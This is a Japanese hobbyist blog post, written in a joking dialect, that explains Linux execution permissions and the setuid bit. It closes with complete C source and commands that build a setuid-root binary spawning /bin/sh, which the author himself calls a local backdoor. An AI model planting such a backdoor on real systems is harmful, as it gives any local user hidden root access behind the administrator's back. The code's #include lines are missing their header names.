コマンドの実行権限
天気:晴れ 少し曇ったかのぅ?
さて、今日は久しぶりにLinuxネタ。
あくまでもわしの為のメモじゃけぇ、動作保証はせんぞ!
大切な事:まずは自己責任
さてさてプログラムやコマンドを実行するには必ず「権限」が必要じゃな。
まずは、いわゆる管理者権限じゃな。Windowsなら「Administrator」、Linuxなら「root」かの。そのほかはいわゆるユーザーやグループなんかも権限の分類としてあるが、そのへんの詳しい話はまた今度の。
で、この権限がとても重要なのは言うまでもないんじゃろう、実行しようとするプログラムに対して実行権限がなければ、当然実行はできん。
さて、とても簡単な説明をしといて本題に入ろうかの。
わしは仕事やプライベートでもLinuxをよく使うんじゃが(仕事ではRedHatがメイン、プライベートではFedoraとかCentとかじゃな)、Linuxのroot権限はいわゆるスーパーユーザー権限と呼ばれるもの。なぜなら、root権限を使えばなんでもできるけぇかの。
なので鯖のハッキングなんかには、まずはroot権限を盗りにいくわけなんじゃが、これが盗れれば侵入・実行は成功するし、盗れんかったら当然失敗じゃな(まぁ、中にはボンクラ管理者が設定した穴だらけの鯖もあるじゃろうが、それを言うとキリがないけぇ、ここでは適切なACが存在する鯖を対象)。
最近ではまずは標的を決めて攻撃を仕掛けるスピア型が流行っとるんかの?まぁ、ええわい。
侵入の方法は省略。というか具体的に書くとヤバいじゃろうしなぁ。
というか、侵入やらなんやらと書いておると悪い事みたいじゃな。いかんいかん。
今回はプログラムの中にはユーザー権限で実行しても内部的にroot権限で実行されとるものがある ということをネタにしようと思っとったんじゃった(:.;゚;Д;゚;.:)
そうそう、わしが仕事でLinuxを使うとる話はしたが、わしはシェルスクリプトが大好きで、滅多なことではPerlとかは使うたりせん。まぁ、爺のつまらんこだわりなんじゃがな。。。
しかし、シェルスクリプトを書いてみても、ファイルによってはrootでしかアクセス不可なものは結構あってのぅ、そういうファイルはシステム自体の重要な情報を持っとるもんじゃけぇ、わしの仕事上もどうしても必要なんじゃが、いちいちrootにチェンジするのも面倒じゃし、先も言うたが、rootじゃとほぼなんでもできてしまうのがLinuxじゃけぇ、スクリプトにバグがあろうもんなら大事になりかねん。
ということで実行自体はユーザーで、必要な時のみroot権限でアクセスできたら幸せになれる気がしたんじゃな。
そんで利用したのが、これ。
setu-id
まぁ、分かる人には分かるが、分からん人にはさっぱりじゃろうな。簡単に説明すると
「実際のユーザーではなく、ファイルの所有者の権限で実行させる仕組み」
ということじゃな。つまりファイルの所有者がrootなら、わしの権限で実行したプログラムがアクセスしにいった時に、これが設定されとるとroot権限でアクセスできるというものじゃな。
わし説明下手れじゃなorz
例えば/usr/bin/passwdコマンドとかの権限を見ると
-r-s--x--x 1 root root なんたらかんたら
となっておると思うんじゃが、この最初の方にある「s」、これがsetu-idが設定されとるという証じゃな。つまり、このコマンドは誰が実行しても、実行中はroot権限で動作しとる。
さて、じゃぁ、最後にこの仕組みを利用したプログラムのソースを一部乗っけて〆るかの。
全部乗せると怒られそうじゃしのぅ。こんな感じの
setu-idを有効しておいて実行中のみroot権限を与える
・root権限のままexecve関数で/bin/shを呼び出す
一般ユーザーが実行すればいつでもrootになることができるプログラム。
example.c
#include
#include
int main(int argc, char *argv[])
{
char *data[2];
char *exe = "/bin/sh";
data[0] = exe;
data[1] = NULL;
setuid(0);
execve(data[0], data, NULL);
return 0;
}
これをroot権限でコンパイルしてsetu-idビットをセットし、以下を実行
$ su
Password: (rootになる)
# gcc -Wall example.c -o example
# chmod 4711 example
ls -l example
-rws--x--x 1 root root なんとかかんとか
# exit (一般ユーザーに戻る)
exit
$
あ、全部書いてしもうた。まぁええか。
こんな陳腐なのじゃ通用せんじゃろうけぇの。
あくまでこれはローカル環境で動作するバックドアの簡単な例じゃからの!悪用すんなYO!
ってか、C使ってるあたりが気に入らん。うむ、今度これを全部シェルで・・・ムホホ
| 固定リンク
この記事へのコメントは終了しました。
コメント
バイナリの歩き方のパクリでクッソ吹いたwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
投稿: 林檎 | 2014年1月29日 (水) 10時22分